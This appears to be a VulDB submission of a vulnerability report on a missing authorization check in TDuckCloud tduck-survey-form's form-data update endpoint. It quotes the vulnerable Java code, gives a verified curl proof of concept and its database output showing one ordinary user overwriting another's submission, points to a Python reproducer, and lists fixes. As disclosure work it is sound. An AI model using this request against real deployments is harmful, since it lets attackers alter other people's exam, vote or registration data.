Submit #962998: GitHub tduck-survey-form 4.0-5.3 broken access controllinfo

TitleGitHub tduck-survey-form 4.0-5.3 broken access controll
Description# TDuck Form Platform: Missing Object-Level Authorization in `POST /user/form/data/update` Allows Arbitrary Tampering of Any Form Submission (IDOR Write) ## Summary **Title:** The form-submission update endpoint `POST /user/form/data/update` of TDuckCloud `tduck-survey-form` performs no object-level authorization check, allowing any authenticated user to modify the content of any submission of any form by its `dataId`. `UserFormResultController.updateFormResult` is the "form owner edits one submission" endpoint, yet — unlike every other submission endpoint in the same controller (`query`, `delete/{formKey}`, `export`, `import`, `download/file`, all of which call `FormAuthUtils.hasPermission(formKey)`) — the `update` path performs **no ownership check at either controller or service layer**. The service loads the row by `getById(entity.getId())` and unconditionally overwrites `originalData`. Any logged-in user who knows a submission's `dataId` can rewrite exam answers, poll/vote results, or registration data of any form; the change persists in both MySQL and Elasticsearch. ## Affected Product / Versions | Item | Value | | ------------------ | ------------------------------------------------------------ | | Product | TDuckCloud `tduck-survey-form` (open-source Java Spring Boot online form platform) | | Affected component | `tduck-api` module `UserFormResultController`; `tduck-form` module `UserFormDataServiceImpl` | | Affected versions | All releases containing this defect. Verified against official image `tduckcloud/tduck-platform` (build 2026-06-10) and source baseline commit `43ffa9c9` (tag `Tduckx-13`); the same vulnerable code exists in the `v5.0` and `v4.0` source tags. | | Test environment | `http://localhost:8999`; attacker and victim are both ordinary users (`admin=false`) | ## Root Cause (source evidence) `tduck-api/src/main/java/com/tduck/cloud/api/web/controller/UserFormResultController.java:197-206`: ```java @PostMapping("/update") public Result<Void> updateFormResult(@RequestBody UserFormDataEntity entity, HttpServletRequest request) { ValidatorUtils.validateEntity(entity); // only @NotBlank formKey etc. try { entity.setUpdateBy(String.valueOf(SecurityUtils.getUserId())); } catch (Exception ignored) { } formResultService.updateFormResult(entity); // ← no FormAuthUtils.hasPermission return Result.success(); } ``` `tduck-form/.../service/impl/UserFormDataServiceImpl.java:157-166`: ```java public Boolean updateFormResult(UserFormDataEntity entity) { UserFormDataEntity dataEntity = this.getById(entity.getId()); // arbitrary dataId dataEntity.setOriginalData(entity.getOriginalData()); // unconditional overwrite dataEntity.setUpdateBy(entity.getUpdateBy()); boolean update = this.updateById(dataEntity); formDataUtils.asyncUpdateEsDocument(dataEntity); // ES overwritten too ... } ``` - **Contrast:** in the same controller, `queryFormDataTable / deleteFormData / exportFormData / downloadFormResultFile / importFormData` all call `FormAuthUtils.hasPermission(formKey)` first — only `update` misses it. - Although `entity.getFormKey()` is `@NotBlank`-validated, the service **completely ignores** `formKey`; an attacker may submit any non-empty value. The only locator is `id` (the `dataId`). ## CWE - CWE-639: Authorization Bypass Through User-Controlled Key (IDOR write) - CWE-862: Missing Authorization ## Attack Vector & Preconditions - Attacker: any authenticated user (ordinary account suffices). - Precondition: the target submission's `dataId` (snowflake ID, not sequentially enumerable, but obtainable from webhook event logs, historical exports, accidental leaks, or in combination with TDUCK-01 / TDUCK-04). - No valid `formKey` needed (any non-empty value passes validation); no form-owner privileges. ## PoC (verified evidence) > Environment `http://localhost:8999`; auth header `token: <JWT>`. > Victim `[email protected]` (id=1001), form `formKey=8wYgRIGX`, submission `dataId=211738` (original: `{"input1":"Alice","input2":"[email protected]","secret":"TOP-SECRET-ANSWER"}`); attacker `[email protected]` (id=1002, `admin=false`). ### 1) Direct tampering by the attacker ```bash curl -s -X POST "http://localhost:8999/user/form/data/update" \ -H "token: <attacker-token>" -H "Content-Type: application/json" \ -d '{"id": 211738, "formKey": "whatever", "originalData": {"poc_field": "tampered-by-attacker", "note": "IDOR write"}}' ``` Actual response: `{"code":200,"msg":null,"data":null}` — the tampering request was accepted. ### 2) Verification via database and the victim's own account `fm_user_form_data` row (id=211738): ``` original_data: {"note": "IDOR write", "poc_field": "tampered-by-attacker"} ← overwritten update_by: 1002 ← written by the attacker update_time: 2026-08-30 22:26:38 ``` Read-back with the victim's account, `GET /user/form/data/details/211738` (`code=200`): ```json "formData": { "note": "IDOR write", "poc_field": "tampered-by-attacker", "formKey": "8wYgRIGX", "updateBy": "1002", "id": 211738, ... } ``` → The attacker (not the owner, not an admin) successfully modified the victim's form submission; the owner's read-back confirms the tampered content. ## Impact 1. **Integrity (High):** submissions of any form can be altered — in exam/survey/vote/registration scenarios this directly changes results and statistics (the only trace is `updateBy`). 2. **Persistence:** `updateById` + `asyncUpdateEsDocument` double-write — tampering affects both MySQL and ES search results. 3. **Chained amplification:** combined with TDUCK-04 (orphaned submissions readable after form deletion) an attacker can read and rewrite; combined with TDUCK-01 (webhook event logs) `dataId` values can be harvested in bulk. ## Remediation 1. In `updateFormResult`, first load the submission by `id`, take its `formKey`, and call `FormAuthUtils.hasPermission(formKey)` before updating (admins exempted). 2. Enforce the same check in the service layer `UserFormDataServiceImpl.updateFormResult` (do not rely on the controller alone). 3. Keep the check consistent with the other endpoints in the same controller; derive `formKey` from the persisted row rather than trusting the request body. ## Reproducer Script A dependency-free Python 3 reproducer for this issue is provided as `tduck-poc/poc_form_data_update.py` and has been executed successfully against the same target and ordinary (non-admin) accounts described above: ```bash python3 poc_form_data_update.py --account [email protected] --password xxx --data-id <victimDataId> --victim-account [email protected] --victim-password xxx ``` > The script defaults to `http://127.0.0.1:8999` with the `token` auth header (this deployment's `platform.jwt.header`); replace the test accounts/address before submission, consistent with the PoC in the body. ## References & Disclosure - Affected source: `tduck-api/.../web/controller/UserFormResultController.java:197-206`; `tduck-form/.../service/impl/UserFormDataServiceImpl.java:157-166`; comparison checks in `tduck-form/.../form/util/FormAuthUtils.java` - Verified 2026-08-30 in an authorized test environment; coordinated disclosure through the vendor's official channel (TDuckCloud open-source repository issues) is recommended. > Disclaimer: this report is solely based on security testing performed in an authorized environment; replace test addresses/accounts before submission.
Source⚠️ https://github.com/LinYuanyi1/cve-request-poc/blob/master/tduck/poc_form_data_update.py
User
 lincoke (UID 100021)
Submission09/07/2026 10:06 (1 month ago)
Moderation10/11/2026 11:45 (1 month later)
StatusDuplicate
VulDB entry405970 [TDuckCloud tduck-survey-form up to 5.0 /user/form/data/update authorization]
Points0

Want to know what is going to be exploited?

We predict KEV entries!